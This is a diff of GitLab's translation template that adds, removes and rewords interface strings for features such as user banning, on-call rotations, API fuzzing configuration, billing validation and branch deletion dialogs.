+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
@@ -553,9 +558,6 @@ msgstr ""
msgid "%{global_id} is not a valid ID for %{expected_types}."
msgstr ""
-msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
-msgstr ""
-
msgid "%{group_name} activity"
msgstr ""
@@ -658,10 +660,10 @@ msgstr ""
msgid "%{link_start}Read more%{link_end} about role permissions"
msgstr ""
-msgid "%{link_start}Remove the %{draft_or_wip_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
+msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet} or %{wip_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
msgstr ""
msgid "%{listToShow}, and %{awardsListLength} more."
@@ -800,6 +802,12 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}."
msgstr ""
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -849,9 +857,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -964,9 +969,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1030,9 +1041,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1364,6 +1372,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1385,6 +1396,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1454,9 +1468,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1469,6 +1480,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1514,9 +1528,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1556,30 +1567,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1595,7 +1600,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1622,6 +1627,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -1889,6 +1903,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2165,6 +2182,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2330,9 +2350,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2345,9 +2362,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2372,9 +2386,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2420,6 +2431,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2438,6 +2452,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2486,6 +2503,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2516,6 +2548,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2570,6 +2605,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2651,6 +2689,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2666,6 +2713,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2678,6 +2731,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2702,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2714,6 +2773,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2759,9 +2821,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -2800,9 +2859,6 @@ msgid_plural "Alerts"
msgstr[0] ""
msgstr[1] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3172,9 +3228,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
